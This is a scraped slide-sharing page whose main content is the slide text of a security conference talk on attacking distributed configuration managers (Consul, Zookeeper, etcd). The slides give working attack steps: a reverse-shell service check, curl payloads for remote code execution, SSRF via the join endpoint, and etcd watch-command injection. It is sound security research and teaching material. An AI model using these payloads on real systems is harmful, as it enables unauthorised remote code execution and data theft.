(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...AliaaTarek5
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentPim van der Noll
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxLoriGlavin3
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
A Framework for Development in the AI Age
A Framework for Development in the AI AgeA Framework for Development in the AI Age
A Framework for Development in the AI AgeCprime
 
Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterMydbops
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxLoriGlavin3
 
Potential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsPotential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsRavi Sanghani
 

Recently uploaded (20)

Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...
 
Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024
 
Assure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyesAssure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyes
 
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdf
 
Decarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a realityDecarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a reality
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directions
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
Testing tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesTesting tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examples
 
2024 April Patch Tuesday
2024 April Patch Tuesday2024 April Patch Tuesday
2024 April Patch Tuesday
 
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
A Framework for Development in the AI Age
A Framework for Development in the AI AgeA Framework for Development in the AI Age
A Framework for Development in the AI Age
 
Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL Router
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
 
Potential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsPotential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and Insights
 

Как мы взломали распределенные системы конфигурационного управления

  • 1. How we hacked DCMs? Bharadwaj Machiraju (@tunnelshade_) Francis Alexander (@torque59)
  • 2. #whoarewe ◦ FOSS & Python guys. ◦ Incase you use OWASP OWTF/NoSQL Exploitation Framework, buy us a beer. ◦ Appsec Engineers at Envestnet Yodlee (fintech). ◦ Mostly we will talk about some nice pwn stories.
  • 3. DCM = Distributed Configuration Management
  • 4. When dinosaurs were alive ... Application Server DatabaseUser
  • 5. Present day scenario! API Gateway User Message Broker Microservice 1 Job Scheduler Microservice 2 Keystore Storage
  • 6. General Necessity! ◦ Distributed nature of applications lead to the necessity of distributed configuration management for simplifying the process of ▫ Maintenance of infrastructure. ▫ Synchronization of processes. ▫ Service discovery.
  • 7. General Our Necessity! ◦ Look cool in pentest reports!! ◦ As other application’s configurations are present here, it is a goldmine. ◦ And if you get to editing these configurations ...
  • 9. 1. Ensemble Type ◦ Cluster of servers in sync. ◦ Queried by the applications for shared data. ◦ Apache Zookeeper & Etcd are popular examples. ◦ Sample Usage: Provide synchronization between processes.
  • 10. 2. Agent Type ◦ A lightweight agent in every instance. ◦ Agents communicate using gossip protocol (a p2p protocol). ◦ Serf & Consul are popular examples. ◦ Sample Usage: Discover app instances and add them to load balancer. ◦ Our favorite type :D
  • 12. HashiCorp Consul ◦ Agent type. Built on top Serf. ◦ Provides service discovery. ◦ Uses a microservice interface to a replicated view of your topology and its configuration. ◦ Can monitor and change services topology based on health.
  • 13.
  • 14. Consul Agent (Master & Slave) ◦ Has client and master modes. ◦ All nodes run an agent. ◦ Stays in sync, interface with REST and DHCP ◦ RAFT quorum, who is leader/master. ◦ Handles WAN gossip to other datacenters. ◦ Forwards queries to leader/master.
  • 15. Security Overview ◦ No Authentication by default. ◦ Enumerate Services through HTTP API. ◦ SSRF feature/vulnerability. ◦ RCE through services and event firing.
  • 16. Some Interesting API’s ◦ Agent HTTP Endpoint ▫ /v1/agent/checks : Returns the checks the local agent is managing ▫ /v1/agent/services : Returns the services the local agent is managing ◦ Coordinate HTTP Endpoint ▫ /v1/coordinate/datacenters : Queries for WAN coordinates of Consul servers.
  • 17. SSRF With Join Endpoint ◦ Triggers the local agent to join a node. ◦ /v1/agent/join/<address> Final Payload http://localhost:8500/v1/agent/join/127.0.0.1:port.
  • 18. Remote Code Execution - I ◦ Execute your code through events. ◦ Consul exec provides an interface to run these. How does it Work ◦ Create session: PUT /v1/session/create ◦ Create Rexec event: PUT /v1/kv/_rexec/job-uuid/job?acquire=job-uuid. ◦ Fire the event: PUT /v1/event/fire/_rexec
  • 19. Remote Code Execution - I Final Payload ◦ consul exec -http-addr=remote_addr [whoami/payload]. ◦ If disable_remote_execution is enabled then we are out of luck (which mostly never happens though !!).
  • 20. Demo
  • 21.
  • 22. Remote Code Execution - II ◦ Execute your code by registering as services. ◦ We could then leverage checks to get our code executed. ◦ Services are synced and then executed. ◦ Once done with your work de-register and come out.
  • 23. Remote Code Execution - II Registering a Service ◦ Sample Service:With Check { "ID": "http", "Name": "http", "Address": "0.0.0.0", "Port": 80, "check": { "script": "bash -i >& /dev/tcp/0.0.0.0/8081 0>&1", "interval": "10s" }
  • 24. Remote Code Execution - II Final Payload ◦ Use Curl ▫ curl -X PUT --data-binary @test.json http://localhost:8500/v1/agent/service/regi ster ◦ Check : dig @127.0.0.1 -p 8600 http.service.consul. ◦ Open netcat you should have your shell ready.
  • 25. Remote Code Execution - II Final Thoughts. ◦ If not de-registered, the service should be running and you should have persistence. ◦ Deregistering is simple (/deregister/service-name)
  • 26. Demo
  • 27.
  • 28. Apache Zookeeper Because coordinating distributed applications is a zoo
  • 29. Apache Zookeeper ◦ Ensemble type. ◦ Cluster of servers available to query. ◦ The name space provided is much like that of a standard file system. ◦ A name is a sequence of path elements separated by a slash (/). Every node is identified by a path.
  • 30. It looks like (meh)
  • 32. Quorum Peer ◦ One server in quorum is called quorum peer. ◦ Each one has three ports open ▫ Intercom. ports (Default: 2888 & 3888) ▫ Client port (Default: 2181)
  • 33. Simple API ◦ create/delete/exists node ◦ get/set data node ◦ get children node ◦ sync ◦ watch node ◦ Libs available in all languages exposing this api.
  • 34. Auth? ◦ Optional Auth ← People are Lazy (Proof: Shodan) ◦ Different kinds of auth are supported. ◦ No auth is fine, but if auth then we need a way. ◦ Next logical step was to dive into internals of zk. ◦ For that
  • 35. Installed Eclipse & configured JAVA
  • 36. Let us try Hey man, where is the auth?
  • 37. Bits and Pieces! ◦ Custom binary protocol using Apache Jute. ◦ Only one vulnerability known till date CVE-2015-5017 (Buffer Overflow in ZK C cli shell) ◦ But then ...
  • 38. Hey, please sync with this latest data snapshot! Hi, I am your follower.
  • 39. Rogue Quorum Peer <= 3.4.9 ◦ Introduce a rogue follower to quorum leader gives you access to data along with the auth info for certain auth providers. ◦ So, whenever you want to modify existing data, just resubmit the auth info along with write request to the leader. KABOOOM!!
  • 40.
  • 41. Demo
  • 42. Why is Zookeeper important? ◦ Used in many awesome products mainly from Apache. ◦ Apache HBase non related distributed db. ◦ Uses zk for synchronization.
  • 43. HBase
  • 44. Briefly, ◦ Every HMaster creates an ephemeral node and backup masters just wait. ◦ If you can bypass auth and write/delete this ephemeral node, you can add a rogue master. ◦ Give it time :P or force crash the old master for all region servers to connect to your rogue. ◦ Extrapolation of CVE-2015-1836.
  • 46. JMX and Zookeeper are Buddies ◦ Zookeeper runs JMX by default but on loopback. ◦ Instances having remotely accessible JMX are fun. ◦ End Result: Chain set of Bugs to RCE.
  • 47. How we did it luckily!! ◦ Memory can be accessed through JMX which can be written to a file. ◦ We used Zookeeper to pop a php/jsp shell by creating a node with our code as its value. ◦ Multiple reads of the node makes it available in the memory. ◦ Dump to an executable location within the web server. PWN !!!
  • 48.
  • 51. Etcd Basics ◦ Nodes get Connected to the Main Server (Cluster) ◦ Stores data persistently ◦ Takes snapshots. ◦ Like a directory tree. ◦ Uses a discovery URL.
  • 52. Etcd API ◦ put key value ◦ get key ◦ del --from-key a ◦ snapshot save snapshot.db ◦ watch Either use CURL or get yourself etcdctl
  • 53. Inherent [In]security ◦ No Authentication by default. ◦ Authentication sucks if not implemented properly. ◦ HTTP Endpoints available at your disposal. ◦ RCE through un-authenticated instances when exposed with a feature.
  • 54. But it is 2017 right!! ◦ Users and roles implemented in Etcd>=2.1 ◦ Auth can be switched on by enabling root user. ◦ But ... ◦ Guest account gets enabled by default. ◦ guest users have read and write privileges.
  • 55.
  • 56. Use Case - Chain to RCE ◦ Etcd allows usage of watchers. ◦ Watch a node and execute commands ◦ We came across $ETCD_WATCH_VALUE ◦ We saw some pretty dumb implementations. ◦ Etcd does not filter values coming to ETCD_WATCH_VALUE
  • 57. etcdctl exec-watch --recursive /foo_dir/foo --sh -c '$ETCD_WATCH_VALUE'
  • 58. Let the request talk. curl http://<ip>:2379/v2/keys/foo_dir/foo -X PUT -d value="ls" Pwn !!
  • 59. Brainstorm!!! ◦ Requires write operation, to write to the key, and we should probably have luck with monitoring using exec-watch, which most people do !!. ◦ Etcd is being used in Kubernetes. You cannot be more Evil.
  • 60. Demo
  • 61.
  • 62. Etcd is nice ◦ Some of the attacks, only applicable if instance is not authenticated. ◦ You can add rogue members. ◦ Check for health. ◦ Get the connected members’ list.
  • 63. Lots of DCMs Pwnage Automation !!
  • 64. Garfield ◦ Wannabe distributed application stack scanner. ◦ Currently supports DCMs - Zk, Etcd and Consul. Written in <3 with Python.
  • 65.
  • 66.
  • 67. Demos
  • 68. References ◦ CoreOS Etcd (https://coreos.com/etcd) ◦ Apache Zookeeper (https://zookeeper.apache.org/) ◦ Hashicorp Consul (https://www.consul.io/) ◦ Zk (https://zookeeper.apache.org/doc/trunk/zookeeperOver.html) Ongoing Work ◦ Not yet broken auth providers in zookeeper. ◦ Kubernetes access through etcd. ◦ Other distributed systems using zookeeper.
  • 69. Shouts!! PhDays (y) Wonderful folks of #appsec@yodlee Kamaiah Nadavala Ajin Abraham
  • 70. Thank You! Bharadwaj Machiraju @tunnelshade_ blog.tunnelshade.in Francis Alexander @torque59 nosqlproject.com github.com/torque59/garfield